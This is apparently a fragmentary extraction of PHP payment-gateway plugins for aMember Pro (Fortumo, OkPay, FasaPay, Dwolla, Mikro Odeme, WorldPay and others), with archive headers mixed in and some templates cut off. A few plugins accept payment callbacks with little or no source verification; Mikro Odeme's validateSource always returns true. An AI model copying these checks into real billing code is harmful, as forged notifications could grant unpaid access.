$this->getDi()->productTable->customFields()->add(new Am_CustomFieldText('fortumo_service_secret', 'Fortumo Service Secret Key', 'Get it from Service Status page')); $this->getDi()->productTable->customFields()->add(new Am_CustomFieldText('fortumo_service_xml', 'Fortumo Service XML URL', 'Get it from Service Setup page')); } public function _initSetupForm(Am_Form_Setup $form) { $form->addSelect('mode', null, array( 'options'=>array( self::MODE_LIVE=>'Live', self::MODE_SANDBOX=>'Sandbox' ) ))->setLabel('Mode'); $form->addText('message', 'size=60')->setLabel('Message with will be sent to client after sucessfull payment'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $products = $invoice->getProducts(); $data = $this->getPaymentData($products[0]->data()->get('fortumo_service_xml')); $a = new Am_Paysystem_Action_HtmlTemplate_Fortumo($this->getDir(), 'fortumo-payment.phtml'); $a->data = $data; $a->invoice = $invoice; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Fortumo($this, $request, $response, $invokeArgs); } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { try{ parent::directAction($request, $response, $invokeArgs); }catch(Exception $e){ $this->getDi()->errorLogTable->logException($e); $response->setRawHeader('HTTP/1.1 600 user-error'); $response->setBody("Error: ".$e->getMessage()); } } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } /** * * @param type $xmlURL * @return Am_Fortumo_Service_Details $details; * @throws Am_Exception_InternalError */ public function getPaymentData($xmlURL){ if(empty($xmlURL)) throw new Am_Exception_InternalError('Fortumo plugin configuration error: Fortumo Service XML URL is empty in product settings'); return $this->getDi()->cacheFunction->call(array($this, 'loadPaymentData'), array($xmlURL), array(), 24*3600); } /** * * @param type $xmlURL * @return Am_Fortumo_Service_Details $details; * @throws Am_Exception_InternalError */ public function loadPaymentData($xmlURL) { $req = new Am_HttpRequest($xmlURL, Am_HttpRequest::METHOD_GET); $resp = $req->send(); $body = $resp->getBody(); if(empty($body)) throw new Am_Exception_InternalError('Fortumo plugin: Empty response from service XML url'); $xml = simplexml_load_string($body); if($xml === false) throw new Am_Exception_InternalError("Fortumo plugin: Can't parse incoming xml"); if((int)$xml->status->code !== 0) throw new Am_Exception_InternalError("Fortumo plugin: Request status is not OK GOT: ".(int)$xml->status->code); return Am_Fortumo_Service_Details::create($xml); } function getReadme(){ return <<_template = $tmpl; $this->_path = $path; } function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); parent::process($action); } } class Am_Fortumo_Service_Details { protected $id; protected $countries = array(); protected $operators = array(); function __construct(SimpleXMLElement $xml) { foreach($xml->service->countries->country as $c){ if(((string) $c['approved']) != 'true') continue; $this->countries[(string) $c['code']] = (string) $c['name']; foreach($c->prices->price as $p){ $this->operators[(string) $c['code']][(string)$p->message_profile->operator['name']] = array( 'price' => (string) $p['amount'], 'currency' => (string) $p['currency'], 'shortcode' => (string) $p->message_profile['shortcode'], 'keyword' => (string) $p->message_profile['keyword'], 'all_operators' => (string) $p->message_profile['all_operators'], 'text' => (string)$c->promotional_text->local ); } } } function getCountries(){ return $this->countries; } function getOperatorsJson(){ return json_encode($this->operators); } function getOperators(){ return $this->operators; } static function create($xml){ return new self($xml); } } class Am_Paysystem_Transaction_Fortumo extends Am_Paysystem_Transaction_Incoming { protected $ip=array( '9.125.125.1', '79.125.5.95','79.125.5.205','54.72.6.126', '54.72.6.27','54.72.6.17','54.72.6.23','79.125.125.1', '79.125.5.95','79.125.5.205' ); public function getUniqId() { return $this->request->get("message_id"); } public function findInvoiceId() { $message = $this->request->get('message'); $mparts = preg_split('/\s+/', $message); return $mparts[2]; } public function validateSource() { $this->_checkIp($this->ip); return true; } public function validateStatus() { if(($this->request->get('test') == 'true') && ($this->getPlugin()->getConfig('mode') != Am_Paysystem_Fortumo::MODE_SANDBOX)) throw new Am_Exception_InputError('Test transaction received but test mode is not enabled!'); switch($this->request->get('billing_type')){ case 'MO' : return $this->request->get('status') != 'failed'; case 'MT' : return $this->request->get('status') == 'ok'; } return false; } public function validateTerms() { return true; // We have no control here; } function processValidated() { parent::processValidated(); print $this->getPlugin()->getConfig('message', 'Thanks for your payment!'); } } PK\TOO-payment/fortumo/scripts/fortumo-payment.phtmlnu[setLayout('layout.phtml'); ?> _script('_receipt.phtml'); ?>

    Payment information

    Please select your country:
    getOperators() as $country=>$operators) : ?>
    $op) : ?>
    In order to complete payment send SMS with text public_id;?> to number

    Send SMS with text public_id;?> to number
    PK\9hmpayment/okpay.phpnu[addText('wallet_id', array('size'=>40)) ->setLabel('Wallet ID or e-mail'); $form->addAdvCheckbox("dont_verify") ->setLabel( "Disable IPN verification\n" . "Usually you DO NOT NEED to enable this option. However, on some webhostings PHP scripts are not allowed to contact external web sites. It breaks functionality of the OkPay payment integration plugin, and aMember Pro then is unable to contact OkPay to verify that incoming IPN post is genuine. In this case, AS TEMPORARY SOLUTION, you can enable this option to don't contact OkPay server for verification. However, in this case \"hackers\" can signup on your site without actual payment. So if you have enabled this option, contact your webhost and ask them to open outgoing connections to www.okpay.com port 80 ASAP, then disable this option to make your site secure again."); } function isConfigured() { return (bool)$this->getConfig('wallet_id'); } public function getSupportedCurrencies() { return array( 'EUR', 'USD', 'GBP', 'HKD', 'CHF', 'AUD', 'PLN', 'JPY', 'SEK', 'DKK', 'CAD', 'RUB', 'CZK', 'HRK', 'HUF', 'NOK', 'NZD', 'RON', 'TRY', 'ZAR' ); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $result->setAction($a); $a->ok_receiver = $this->getConfig('wallet_id'); $a->ok_invoice = $invoice->public_id; $a->ok_currency = strtoupper($invoice->currency); if (!(float)$invoice->second_total) { $a->ok_kind = 'payment'; $a->ok_item_1_name = $invoice->getLineDescription(); $a->ok_item_1_price = $invoice->first_total; } else { $a->ok_kind = 'subscription'; $a->ok_s_title = $invoice->getLineDescription(); if ($invoice->first_total != $invoice->second_total || $invoice->first_period != $invoice->second_period) { $p = new Am_Period($invoice->first_period); $a->ok_s_trial_price = $invoice->first_total; $a->ok_s_trial_cycle = sprintf('%d %s', $p->getCount(), strtoupper($p->getUnit())); } $p = new Am_Period($invoice->second_period); $a->ok_s_regular_price = $invoice->second_total; $a->ok_s_regular_cycle = sprintf('%d %s', $p->getCount(), strtoupper($p->getUnit())); $a->ok_s_regular_count = ($invoice->rebill_times == IProduct::RECURRING_REBILLS) ? 0 : $invoice->rebill_times; } $a->ok_payer_first_name = $invoice->getFirstName(); $a->ok_payer_last_name = $invoice->getLastName(); $a->ok_payer_street = $invoice->getStreet(); $a->ok_payer_city = $invoice->getCity(); $a->ok_payer_state = $invoice->getState(); $a->ok_payer_zip = $invoice->getZip(); $a->ok_payer_country = $invoice->getCountry(); $a->ok_ipn = $this->getPluginUrl('ipn'); $a->ok_return_success = $this->getReturnUrl(); $a->ok_return_fail = $this->getCancelUrl(); $this->logRequest($a); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { return <<Setup->Plugins 2. Configure "OKPAY" payment plugin at aMember CP->Setup->OKPAY Set Wallet ID or E-mail, linked to your wallet. 3. That's all. Now your aMember shop can receive OKPAY payments! CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Okpay_Ipn($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Okpay_Ipn extends Am_Paysystem_Transaction_Incoming { public function validateSource() { if (!$this->plugin->getConfig('dont_verify')) { $req = $this->plugin->createHttpRequest(); $req->setUrl('http://www.okpay.com/ipn-verify.html'); $req->addPostParameter('ok_verify', 'true'); foreach ($this->request->getRequestOnlyParams() as $key => $value) $req->addPostParameter($key, $value); $req->setMethod(Am_HttpRequest::METHOD_POST); $resp = $req->send(); if ($resp->getStatus() != 200 || $resp->getBody()!=="VERIFIED") throw new Am_Exception_Paysystem("Wrong IPN received, okpay [ipn-verify] answers: ".$resp->getBody().'='.$resp->getStatus()); } return true; } public function validateStatus() { return true; } public function findInvoiceId() { return $this->request->getFiltered('ok_invoice'); } public function getUniqId() { return $this->request->get('ok_txn_id'); } public function validateTerms() { $currency = $this->request->get('ok_txn_currency'); $amount = $this->request->get('ok_txn_gross'); if ($currency && (strtoupper($this->invoice->currency) != $currency)) throw new Am_Exception_Paysystem_TransactionInvalid("Wrong currency code [$currency] instead of {$this->invoice->currency}"); $type = $this->request->get('ok_txn_kind'); switch ($type) { case 'payment_link': $expect = $this->invoice->first_total; break; case 'subscription': if ($this->invoice->first_total == $this->invoice->second_total) { $expect = $this->invoice->first_total; } else { $expect = $this->request->get('ok_s_regular_payments_done') > 0 ? $this->invoice->second_total : $this->invoice->first_total; } break; } if($amount && $amount != $expect) throw new Am_Exception_Paysystem_TransactionInvalid("Payment amount is [$amount] instead of {$expect}"); return true; } public function processValidated() { switch ($this->request->get('ok_txn_status')) { case 'completed': if ($this->invoice->first_total <= 0 && $this->invoice->status == Invoice::PENDING) { $this->invoice->addAccessPeriod($this); // add first trial period } else { $this->invoice->addPayment($this); } break; case 'reversed': if($this->request->get('ok_txn_reversal_reason') == 'refund' || $this->request->get('ok_txn_reversal_reason') == 'chargeback') { $this->invoice->addRefund($this, $this->request->get('ok_txn_id'), $this->request->get('ok_txn_gross')); } break; case 'canceled': $this->invoice->setCancelled(); break; } } } PK\Lpayment/ipaydna.phpnu[addText('tid') ->setLabel("Merchant terminal ID (TID)\n" . 'registered in gateDNA'); $form->addText('url', array('class' => 'el-wide')) ->setLabel("E-Payment URL\n" . 'to be provided by the respective account manager at gateDNA'); } public function isConfigured() { return (bool) $this->getConfig('tid') && (bool) $this->getConfig('url'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect($this->getConfig('url')); $a->customerPaymentPageText = $this->getConfig('tid'); $a->orderDescription = $invoice->public_id; $a->orderdetail = $invoice->getLineDescription(); $a->currencyText = $invoice->currency; $a->purchaseAmount = $invoice->first_total; $a->recurring = 0; $a->Email = $invoice->getUser()->email; $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ('reject' == $request->getActionName()) { $invoice = $this->getDi()->invoiceTable->findFirstByPublicId($request->get("orderDescription")); $url = $this->getRootUrl() . "/cancel?id=" . $invoice->getSecureId('CANCEL'); return $response->redirectLocation($url); } else { return parent::directAction($request, $response, $invokeArgs); } } function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return null; } function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ipaydna($this, $request, $response, $invokeArgs); } public function getReadme() { $signup = $this->getDi()->url('signup',null,true,true); $cancel = Am_Html::escape($this->getPluginUrl('reject')); $thanks = Am_Html::escape($this->getPluginUrl('thanks')); return <<request->get("orderReference"); } public function findInvoiceId() { return $this->request->get("orderDescription"); } public function validateSource() { return $this->request->get('customerPaymentPageText') == $this->getPlugin()->getConfig('tid'); } public function validateTerms() { return $this->request->get('purchaseAmount') == $this->invoice->first_total && $this->request->get('currencyText') == $this->invoice->currency; } public function validateStatus() { return $this->request->get('transactionStatusText') == 'SUCCESSFUL'; } }PK\Fڄpayment/fasapay.phpnu[addText('fp_account') ->setLabel('Your FasaPay Store Account') ->addRule('required'); $form->addText('fp_store') ->setLabel('FasaPay Store Name') ->addRule('required'); $form->addText('security_word', array('class' => 'el-wide')) ->setLabel('FasaPay Store Security Word') ->addRule('required'); $form->addAdvCheckbox('is_sandbox') ->setLabel("Sandbox Mode Enabled\n" . "use sandbox account data from http://sandbox.fasapay.com/"); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function isConfigured() { return (bool)($this->getConfig('fp_account')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $vars = array( 'fp_acc' => $this->getConfig('fp_account'), 'fp_store' => $this->getConfig('fp_store'), 'fp_item' => $invoice->getLineDescription(), 'fp_amnt' => $invoice->first_total, 'fp_currency' => $invoice->currency, 'fp_merchant_ref' => $invoice->public_id, 'fp_success_url' => $this->getReturnUrl(), 'fp_fail_url' => $this->getCancelUrl(), 'fp_status_url' => $this->getPluginUrl('ipn'), ); $this->logRequest($vars); $action = new Am_Paysystem_Action_Form($this->getConfig('is_sandbox') ? self::URL_TEST : self::URL_LIVE); foreach ($vars as $key => $value) $action->$key = $value; $result->setAction($action); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Fasapay($this, $request, $response, $invokeArgs); } public function getReadme(){ return <<Fasapay plugin installation NOTE 1: Refund of subscription are not possible via plugin. NOTE 2: This plugin is not support recurring payments. 'Your FasaPay Store Account' - you will get after creating FasaPay account, live account from www.fasapay.com (like 'FP12345') or test account from sandbox.fasapay.com (like 'FPX1234') 'FasaPay Store Name' and 'FasaPay Store Security Word' - these params you fill at matched fields when creating FasaPay Store at 'FasaPay Merchat Account -> SCI -> Store' CUT; } } class Am_Paysystem_Transaction_Fasapay extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getFiltered("fp_batchnumber"); } public function findInvoiceId() { return $this->request->getFiltered("fp_merchant_ref"); } public function validateSource() { $str = $this->request->getFiltered("fp_paidto") . ":" . $this->request->getFiltered("fp_paidby") . ":" . $this->request->get("fp_store") . ":" . $this->request->get("fp_amnt") . ":" . $this->request->getFiltered("fp_batchnumber") . ":" . $this->request->getFiltered("fp_currency") . ":" . $this->getPlugin()->getConfig('security_word'); $hash = hash('sha256', $str); if ($hash == $this->request->getFiltered("fp_hash")) return true; Am_Di::getInstance()->errorLogTable->log( "[Fasapay-incoming]: Transaction HASH [{$this->request->getFiltered("fp_hash")}] does not match expected [$hash]" ); } public function validateStatus() { return true; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get("fp_amnt")); return true; } }PK\u8D D payment/realexpayments.phpnu[addText("merchant_id") ->setLabel('Your Realex Merchant ID'); $form->addPassword('secret')->setLabel('Secret key'); $form->addAdvcheckbox('testing')->setLabel('Testing mode'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $timestamp = strftime("%Y%m%d%H%M%S"); $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL); $a->MERCHANT_ID = $this->getConfig('merchant_id'); $a->ORDER_ID = $invoice->public_id; $a->CURRENCY = $invoice->currency; $a->AMOUNT = $invoice->first_total * 100; $a->TIMESTAMP = $timestamp; $a->SHA1HASH = sha1(sha1($timestamp.'.'.$this->getConfig('merchant_id').'.'.$invoice->public_id.'.'.($invoice->first_total * 100).'.'.$invoice->currency).'.'.$this->getConfig('secret')); $a->AUTO_SETTLE_FLAG = 1; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Realexpayments($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('EUR', 'GBP'); } } class Am_Paysystem_Transaction_Realexpayments extends Am_Paysystem_Transaction_Incoming_Thanks { public function findInvoiceId() { return $this->request->getFiltered('ORDER_ID'); } public function getUniqId() { return $this->request->getFiltered('PASREF'); } public function validateSource() { return $this->request->getFiltered('SHA1HASH') == sha1(sha1($this->request->getFiltered('TIMESTAMP').$this->getPlugin()->getConfig('merchant_id').$this->request->getFiltered('ORDER_ID').$this->request->getFiltered('RESULT').$this->request->getFiltered('MESSAGE').$this->request->getFiltered('PASREF').$this->request->getFiltered('AUTHCODE')).$this->getPlugin()->getConfig('secret')); } public function validateStatus() { return $this->request->getFiltered('RESULT') == '00'; } public function validateTerms() { return true; } }PK\dxpayment/dwolla.phpnu[addText('destination_id', 'size=60')->setLabel('Dwolla Account Number', 'Dwolla account ID receiving the funds. Format : XXX-XXX-XXXX.'); $form->addText('app_key', 'size=60')->setLabel('Application Key', 'The key used for the Dwolla API'); $form->addText('app_secret', 'size=60')->setLabel('Application Secret', 'The secret code used for the Dwolla API'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $req = $this->createHttpRequest(); $req->setUrl(self::POST_URL); $req->addPostParameter('Key', $this->getConfig('app_key')); $req->addPostParameter('Secret', $this->getConfig('app_secret')); $req->addPostParameter('DestinationId', $this->getConfig('destination_id')); $req->addPostParameter('OrderId', $invoice->public_id); $req->addPostParameter('Amount', $invoice->first_total); $req->addPostParameter('Test', $this->getConfig('testing') ? 'true' : 'false'); $req->addPostParameter('Redirect', $this->getPluginUrl('thanks').'?id='.$invoice->getSecureId('THANKS')); $req->addPostParameter('Name', $this->getDi()->config->get('site_title')); $req->addPostParameter('Description', $invoice->getLineDescription()); $req->addPostParameter('Callback', $this->getPluginUrl('ipn')); $this->logRequest($req); $req->setMethod(Am_HttpRequest::METHOD_POST); $response = $req->send(); $this->logResponse($response); $resp = $response->getBody(); if (strstr($resp, "Invalid+application+credentials")) { $result->setFailed("Invalid Application Credentials."); return; } elseif (strpos($resp, "heckout/") === false) { $result->setFailed("Invalid Response From Dwolla's server."); return; } $i = strpos($resp, "heckout/"); $checkout_id = substr($resp, $i + 8, 36); $a = new Am_Paysystem_Action_Redirect(self::REDIRECT_URL.$checkout_id); $result->setAction($a); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Dwolla_Thanks(this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times) return "Dwolla gateway does not support recurring payments"; } public function getReadme() { return <<request->get('checkoutId'); } public function validateSource() { return $this->request->get('signature') == hash_hmac('sha1', $this->request->get('checkoutId').'&'.$this->request->get('amount'), $this->plugin->getConfig('app_secret')); } public function validateStatus() { return ($this->request->get('test') != 'true') || $this->plugin->getConfig('testing'); } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('amount')); } } class Am_Paysystem_Transaction_Dwolla extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { return $this->request->get('checkoutId'); } public function validateSource() { return $this->request->get('signature') == hash_hmac('sha1', $this->request->get('checkoutId').'&'.$this->request->get('amount'), $this->plugin->getConfig('app_secret')); } public function validateStatus() { return ($this->request->get('test') != 'true') || $this->plugin->getConfig('testing'); } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('amount')); } }PK\}T$$payment/mikro-odeme.phpnu[getDi()->billingPlanTable->customFields() ->add( new Am_CustomFieldSelect('mo_product_type', 'Product Type', 'Product type', null, array('options' => array( 1 => 'Physical good', 2 => 'Online Gaming', 3 => 'Content', 4 => 'Service', 5 => 'Social Networking', 6 => 'Automat', 7 => 'Bet', 8 => 'Insurance', 10 => 'Public Services', 11 => 'Mobile Insurance', 12 => 'Box Game', 13 => 'Social Gaming', 14 => 'Mobile Applications', 15 => 'Online Education' ))) ); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('user_code')->setLabel("User Code\n" . 'Refers to the partner company number given by MO'); $form->addText('pin')->setLabel("Pin\n" . 'Refers to the partner company’s API Key/PIN given by MO'); } function getPaymentType(Invoice $invoice) { if (!$invoice->rebill_times) return 1; $period = new Am_Period(); $period->fromString($invoice->second_period); switch ($period->getUnit()) { case Am_Period::MONTH: if ($period->getCount() == 1) return 2; case Am_Period::DAY: if ($period->getCount() == 7) return 3; default: throw new Am_Exception_InputError('Incorrect period unit: ' . $period->getUnit()); } } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { try { $cl = @new SoapClient(self::WSDL); $res = $cl->SaleWithTicket(array( 'token' => array( 'UserCode' => $this->getConfig('user_code'), 'Pin' => $this->getConfig('pin') ), 'input' => array( 'MPAY' => $invoice->public_id, 'Content' => $invoice->getLineDescription(), 'SendOrderResult' => true, 'PaymentTypeId' => $this->getPaymentType($invoice), 'ReceivedSMSObjectId' => '00000000-0000-0000-0000-000000000000', 'ProductList' => array( 'MSaleProduct' => array( 'ProductId' => 0, 'ProductCategory' => $invoice->getItem(0)->getBillingPlanData('mo_product_type') ? $invoice->getItem(0)->getBillingPlanData('mo_product_type') : 1, 'ProductDescription' => $invoice->getLineDescription(), 'Price' => $invoice->first_total, 'Unit' => 1 ) ), 'SendNotificationSMS' => false, 'OnSuccessfulSMS' => '', 'OnErrorSMS' => '', 'RequestGsmOperator' => 0, 'RequestGsmType' => 0, 'Url' => ROOT_URL, 'SuccessfulPageUrl' => $this->getReturnUrl(), 'ErrorPageUrl' => $this->getPluginUrl('cancel') ) )); } catch (Exception $e) { throw new Am_Exception_InputError('Unable to contact payment server:' . $e->getMessage()); } if ($res->SaleWithTicketResult->StatusCode > 0) { throw new Am_Exception_InputError("Error in data format: " . $res->SaleWithTicketResult->ErrorMessage); } // Everything is ok. Redirect User to MO: $a = new Am_Paysystem_Action_Redirect($res->SaleWithTicketResult->RedirectUrl); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_MikroOdeme($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isConfigured() { return strlen($this->getConfig('user_code')) && strlen($this->getConfig('pin')); } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times && ($invoice->rebill_times != IProduct::RECURRING_REBILLS)) return 'Incorrect Rebill Times setting!'; if (($invoice->second_total > 0) && ($invoice->second_total != $invoice->first_total)) return 'First & Second price must be the same in invoice!'; if (($invoice->second_period > 0) && ($invoice->second_period != $invoice->first_period)) return 'First & Second period must be the same in invoice!'; if ($invoice->rebill_times) { $p = new Am_Period(); $p->fromString($invoice->first_period); if (($p->getUnit() == Am_Period::MONTH) && $p->getCount() == 1) return; if (($p->getUnit() == Am_Period::DAY) && $p->getCount() == 7) return; return "Incorrect billing terms. Only monthly and weekly payments are supported"; } } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'admin-cancel') return $this->adminCancelAction($request, $response, $invokeArgs); elseif ($request->getActionName() == 'cancel') { $invoice = $this->getDi()->invoiceTable->findBySecureId($request->getFiltered('id'), 'STOP' . $this->getId()); if (!$invoice) throw new Am_Exception_InputError("No invoice found [$id]"); $result = new Am_Paysystem_Result; $payment = current($invoice->getPaymentRecords()); $this->cancelInvoice($payment, $result); $invoice->setCancelled(true); $this->_redirect('member/payment-history'); } else return parent::directAction($request, $response, $invokeArgs); } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $payment = current($invoice->getPaymentRecords()); try { $this->cancelInvoice($payment, $result); $invoice->setCancelled(true); } catch (Exception $e) { $result->setFailed($e->getMessage()); } } public function cancelInvoice(InvoicePayment $payment, Am_Paysystem_Result $result) { $log = $this->getDi()->invoiceLogRecord; $log->setInvoice($payment->getInvoice()); try { $cl = @new SoapClient("http://vas.mikro-odeme.com/services/MSubscriberManagementService.asmx?wsdl"); $res = $cl->DeactivateSubscriber(array( 'token' => array( 'UserCode' => $this->getConfig('user_code'), 'Pin' => $this->getConfig('pin') ), 'subscriberId' => $payment->getInvoice()->data()->get('mo_subscriber') )); } catch (Exception $e) { throw new Am_Exception_InputError('Unable to contact payment server:' . $e->getMessage()); } if ($res->DeactivateSubscriberResult->StatusCode > 0) { throw new Am_Exception_InputError("Error in data format: " . $res->DeactivateSubscriberResult->ErrorMessage); } } } class Am_Paysystem_Transaction_MikroOdeme extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { $public_id = $this->request->getFiltered('mpay'); if(!empty($public_id)) return $public_id; else{ $invoice = $this->getPlugin()->getDi()->invoiceTable->findFirstByData('mo_subscriber', $this->request->get('subscriber')); return $invoice->public_id; } } public function getUniqId() { return $this->request->get('order'); } public function validateSource() { print "OK"; return true; } public function validateStatus() { return $this->request->get('status') === '0'; } public function validateTerms() { return str_replace(',', '.', $this->request->get('price')) == $this->invoice->first_total; } public function processValidated() { $this->invoice->addPayment($this); $this->invoice->data()->set('mo_subscriber', $this->request->get('subscriber'))->update(); //print "OK"; } }PK\Q,)bbpayment/zaxaa.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'zaxaa_prod_number', "Zaxaa Product Number", "The product number registered in Zaxaa (SKU)")); } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("secret", array('size' => 40)) ->setLabel("API Signature\n" . "you can find it on your Zaxaa account " . "Settings -> Account Settings (Show API Signature)"); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // Nothing to do. } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Zaxaa($this, $request, $response, $invokeArgs); } public function canAutoCreate() { return true; } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<Zaxaa integration You need to enabel 'Third Party Script Integration' for products in your account and set Notification Handler URL to $url CUT; } } class Am_Paysystem_Transaction_Zaxaa extends Am_Paysystem_Transaction_Incoming { protected $payment_number = 0; protected $_autoCreateMap = array( 'name_f' => 'cust_firstname', 'name_l' => 'cust_lastname', 'email' => 'cust_email', 'state' => 'cust_state', 'city' => 'cust_city', 'street' => 'cust_address', 'country' => 'cust_country', 'user_external_id' => 'cust_email', 'invoice_external_id' => 'ctransreceipt', ); public function autoCreateGetProducts() { $products = array(); foreach ($this->request->get('products') as $product) { $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('zaxaa_prod_number', $product['prod_number']); if ($billing_plan) { $products[] = $billing_plan->getProduct(); $this->payment_number = $product['payment_number']; } } return $products; } public function getAmount() { return moneyRound($this->request->get('trans_amount')); } public function getUniqId() { return $this->request->get('trans_receipt') . '-' . $this->payment_number; } public function validateSource() { return $this->request->get('hash_key') == $this->hash(); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->request->get('trans_type')) { case 'SALE': case 'FIRST_BILL': case 'REBILL': $this->invoice->addPayment($this); break; case 'REFUND': $this->invoice->addRefund($this, Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); break; case 'CANCELED': $this->invoice->setCancelled(true); break; } } function hash() { return strtoupper(md5( $this->request->get('seller_id') . $this->plugin->getConfig('secret') . $this->request->get('trans_receipt') . $this->request->get('trans_amount'))); } function generateInvoiceExternalId() { foreach ($this->request->get('products') as $product) { if (isset($product['recurring_id'])) return $product['recurring_id']; } return null; } public function findInvoiceId() { return null; } }PK\3b'b'payment/worldpay.phpnu[addInteger('installation_id', array('size'=>20)) ->setLabel('WorldPay Installation Id (number)'); // $form->addText('callback_pw', array('size'=>20)) // ->setLabel('Callback Password (the same as configured in WorldPay)'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function isConfigured() { return $this->getConfig('installation_id') > ''; } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times && ($invoice->first_period != $invoice->second_period)) { return "WorldPay cannot handle products with different first and second period"; } return parent::isNotAcceptableForInvoice($invoice); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::TEST_URL : self::URL); $a->instId = $this->getConfig('installation_id'); $a->cartId = $invoice->public_id; $a->currency = $invoice->currency; $a->desc = $invoice->getLineDescription(); $a->email = $invoice->getEmail(); $a->name = $invoice->getName(); $a->address = $invoice->getStreet(); $a->city = $invoice->getCity(); $a->state = $invoice->getState(); $a->postcode = $invoice->getZip(); $a->country = $invoice->getCountry(); //$a->MC_callback = preg_replace('|^https?://|', '', $this->getPluginUrl('ipn')); $a->amount = $invoice->first_total; if ($this->getConfig('testing')) { $a->testMode = 100; $a->name = 'CAPTURE'; } if ($invoice->rebill_times) { if ($invoice->rebill_times != IProduct::RECURRING_REBILLS) $a->noOfPayments = $invoice->rebill_times; $a->futurePayType = 'regular'; if($invoice->rebill_times != 1) { list($c, $u) = $this->period2Wp($invoice->second_period); $a->intervalUnit = $u; $a->intervalMult = $c; } $a->normalAmount = $invoice->second_total; $a->option = 0; list($c, $u) = $this->period2Wp($invoice->first_period); $a->startDelayMult = $c; $a->startDelayUnit = $u; } $a->filterEmpty(); $result->setAction($a); } public function period2Wp($period) { $p = new Am_Period($period); switch ($p->getUnit()) { case Am_Period::DAY: return array($p->getCount(), 1); case Am_Period::MONTH: return array($p->getCount(), 3); case Am_Period::YEAR: return array($p->getCount(), 4); default: // nop. exception } throw new Am_Exception_Paysystem_NotConfigured( "Unable to convert period [$period] to Worldpay-compatible.". "Must be number of days, months or years"); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { return <<_logDirectAction($request, $response, $invokeArgs); $transaction = $this->createTransaction($request, $response, $invokeArgs); if 